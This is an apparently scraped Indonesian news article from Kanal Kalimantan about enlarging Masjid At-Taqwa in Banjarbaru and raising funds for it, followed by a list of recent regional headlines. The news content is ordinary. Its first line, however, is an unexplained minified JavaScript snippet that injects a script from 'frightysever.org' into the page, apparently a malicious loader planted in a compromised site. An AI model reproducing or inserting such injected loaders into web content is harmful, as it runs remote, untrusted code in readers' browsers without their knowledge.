(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas


KANALKALIMANTAN.COM, BANJARBARU – Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At Taqwa Jalan Karang Anyar III, Kelurahan Loktabat Utara, Kecamatan Banjarbaru Utara, Kota Banjarbaru, terus bertambah dan berkembang banyak.

Masjid yang terletak persis di perbatasan Banjarbaru-Martapura ini diakui menjadi tempat peribadatan yang dipadati jemaah, terlebih saat salat Jumat dan salat subuh.

Ketua Badan Pengelola Masjid (BPM) At Taqwa, Azwar mengatakan saking membludaknya jemaah, area jalanan dialihfungsikan menjadi shaf-shaf jemaah yang melaksanakan salat Jumat.

“Karena membludaknya jemaah kita kembangkan sayap kiri kanan yang tadinya bisa menampung 200 jemaah, kini jadi 400 jemaah, karena pusatnya pertumbuhan permukiman sehingga tidak mampu lagi menampung jemaah,” ungkap Ketua BPM At Taqwa, Azwar usai kegiatan halalbihalal warga Muhammadiyah Banjarbaru, Minggu (5/5/2024) siang.

Baca juga: Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

Azwar mengatakan Masjid At Taqwa ini diperluas hingga dapat menampung kapasitas 400 jemaah, mulai dari dalam hingga halaman masjid. Namun, ternyata perluasan yang dilakukan belum juga bisa menampung penuh jemaah yang datang.

“Melihat perkembangan penduduk yang begitu pesat dan jumlah jemaah kita berkomitmen untuk mengembangkan untuk kebutuhan kapasitas ruang peribadatan yang tidak mencukupi lagi selama beberapa tahun terakhir,” jelas dia.

Alhasil mereka pun membentuk Pantia Pengembangan Masjid (PPM) untuk mengembangkan perluasan masjid dari sisi dan kanan kemudian ditambah dengan bangunan pada tiga tingkat di atasnya.

“Insyaallah kalau pengembangan masjid ini selesai bisa menampung hingga 1.500 jemaah, dimana tahap pertama pengembangan pada tahun 2024 ini selesai, bisa digunakan untuk salat mengganti bangunan lantai pertama yang akan dibangun pada tahap kedua tahun selanjutnya,” ujar Ketua PPM At-Taqwa, Sanyoto.

Baca juga: Amuntai Expo dan Bazar Ekonomi Kreatif 2024

Dia bersama panitia lainnya harus menyediakan dana sebesar Rp16,4 miliar untuk pengembangan masjid dalam dua tahap ini.

Pengelola Masjid At Taqwa dan Panitia Pengembangan Masjid At Taqwa. Foto: wanda

Dirinya mengatakan, nantinya jika sudah selesai dibangun, tempat ibadah jemaah akan dilaksanakan di lantai 2 dan 3 masjid. Sedangkan untuk kegiatan sosial kemasyarakatan dapat dilakukan di lantai satu bangunan masjid.

“Jadi di samping tempat ibadah dan dakwah, insyaallah kita kembangkan sebagai salah satu pusat peradaaban baik terkait pendidikan ekonomi kesehatan sosial kemasyarakatan, termasuk amal usaha ada minimarket, klinik kesehatan, sekolah, hingga kaum duafa,” sebut dia.

Termasuk fasilitas parkir, dengan luas tanah seluruhnya sekitar 2.700 meter persegi, pihaknya berencana memanfaatkan fasiltas parkir sebagai ladang kegiatan ekonomi warga setempat, salah satunya juga membangun usaha pencucian kendaraan.

“Termasuk di situ bangunan di belakang masjid yang saat ini dijadikan koperasi masjid bakal di pindah untuk meluaskan area parkir,” ujar Wakil Ketua PPM, Ahmad Najib menambahkan.

Baca juga: Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

Diharapkan dengan pengembangan ini, masjid dapat dapat berdiri mandiri dan menghasilkan pendapatan untuk operasional sendiri alias dapat membiayai diri sendiri.

“Begitu juga untuk ekonomi lain di masjid agar dapat meningkatkan perekonomian warga seempat dan warga Muhammadiyah pada umumnya,” sambung dia.

Sementara itu progres pengembangan masjid, Sanyoto kembali menjelaskan, saat ini tengah dipasang granit pada lantai satu sampai lantai tiga bangunan masjid.

Pihaknya mengaku masih memerlukan dana sekitar Rp181 juta untuk melanjutkan proses berikutnya berupa pemasangan kusen, pintu dan jendela kaca masjid.

“Alhamdulillah sekarang sudah terkumpul sekitar Rp24 juta di mana kita masih memerlukan dana sekitar Rp157 juta lagi untuk tahap yang akan kita kerjakan pada pengembangan tahap pertama ini,” ungkap Sanyoto menutup.

Salah satunya juga, dengan silaturahmi melalui kegiatan Halal bi halal sekaligus Hari Bermuhammadiyah yang diadakan rutin dua bulan sekali nantinya diharapkan dapat membangun amal usaha dan kepedulian warga Muhammadiyah untuk bisa membantu pengembangan masjid ini. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

8 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

8 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

11 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

12 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

13 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

16 jam ago

This website uses cookies.